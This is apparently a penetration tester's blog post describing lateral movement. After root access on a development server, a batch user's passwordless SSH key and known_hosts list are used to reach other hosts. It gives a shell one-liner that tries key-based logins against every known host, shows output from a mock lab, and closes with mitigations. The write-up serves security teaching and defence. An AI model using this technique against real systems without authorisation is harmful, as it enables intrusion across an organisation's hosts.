Blog: How Tos

How to abuse SSH keys

David Lodge 31 Aug 2016

SSHsnail

A couple of weeks ago I was pen testing a selection of Linux and Unix hosts in a relatively mature environment where they had build standards that were applied across all the hosts. One of these was setting up a standard batch user with SSH keys to allow jobs to be run across host from another one. This is a common configuration for *ix environments.

I had managed, through nefarious means (ok, the user had a weak password), to gain root access to a development server which had no production data on it. Could I gain access to other things?

Of course I could, or I wouldn’t be writing this article here and now!

SSH keys

So, whilst looking around the file system and looking for passwords in the various shell histories and standard scripts, I noticed that one user, let’s call it batchuser, had an SSH keypair defined; implying that it had been used to connect to other servers.

A bit of background: SSH can support a number of different authentication mechanisms, from the basic password to using keys. SSH keys follow conventional asymmetric authentication schemes: a keypair, consisting of a public and private key, is generated (saved, by default in the .ssh/id_rsa and .ssh/id-rsa.pub files on the client) and the public key is sent to the destination host. When the client tries to authenticate it signs the request with the private key and the server verifies with its copy of the public key and decides whether to give access.

All this is set up in files in the user’s .ssh directory, with authorised keys saved in the .ssh/authorized_keys file on the server.

So I found some keys, that doesn’t tell me which servers the user has access to does it? No, not really. Now I could farm through the shell histories or looks at the scripts, or I could just be lazy and use another facility of the SSH protocol.

Host keys

Each SSH server has its own key and signature which it presents upon initial connection by a client. This is an extra integrity step to minimise the risk of man-in-the-middle attacks. Once the host key has been accepted its signature is saved in .ssh/known_hosts on the client.

This means that we would have, at least the following files on the server

  • .ssh/authorized_keys – holding the signature of the public key of any authorised clients

And the following files on the client:

  • .ssh/id_rsa – Holds the private key for the client
  • .ssh/id_rsa.pub – Holds the public key for the client
  • .ssh/known_hosts – Holds a list of host signatures of hosts that the client has previously connected to

A couple of caveats:

  1. This is for OpenSSH, commercial SSH uses different file names and formats.
  2. id_rsa covers keypairs generate using the RSA algorithm. If DSA is used the filename is id_dsa

Making an Attack

So… assuming we’ve compromised a client we had the private key and a list of servers that the host has connected to in the past, that means we can assume that some of the hosts in .ssh/known_hosts will have a password SSH connection set up.

So, let’s try it (in my mocked up recreation). We could do this by hand, but I’m lazy, so have a tiny bit of shell script that will do this for us:

for i in $(awk -F ‘[ ,]’ ‘{print $1}’ known_hosts);do echo -n “$i “;ping -n $i -c 1 2>&1 >/dev/null && ssh $i “echo -n yes” ;echo; done

What this does is ping the host (to make sure it’s up, then just tries to connect and run the simple command of “echo -n yes”. Running this in my mocked up environment returns with:

[batchuser@jotunheim .ssh]$ for i in $(awk -F ‘[ ,]’ ‘{print $1}’ known_hosts);do echo -n “$i “;ping -n $i -c 1 2>&1 >/dev/null && ssh $i “echo -n yes” ;echo; done192.168.112.138 yes

192.168.112.133 yes

192.168.112.131

So that’s it, I can assume I now have user access on 192.168.112.138 and 192.168.112.133, let’s try it:

[batchuser@jotunheim .ssh]$ ssh 192.168.112.138
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Aug  3 15:32:39 2016 from 192.168.112.134
$

Recommendations

This is mainly just to show how horizontal privilege escalation can be performed if an account has already been compromised.

There is an easy way to prevent this happening: don’t allow passwordless SSH keys to be used. Of course doing this makes it difficult to perform many cross-host activities that may be essential, or introduces more risk by having to store passwords in scripts. So this risk should be balanced with the requirements for regular tasks performed in your enterprise.

Either way, the *ix administrators need to understand the risks of using SSH keys and to ensure that different environments (e.g. production and development) are not crossed.

Another way of minimising the risk is to minimise the number of hosts that have access by restricting it to one or two management hosts.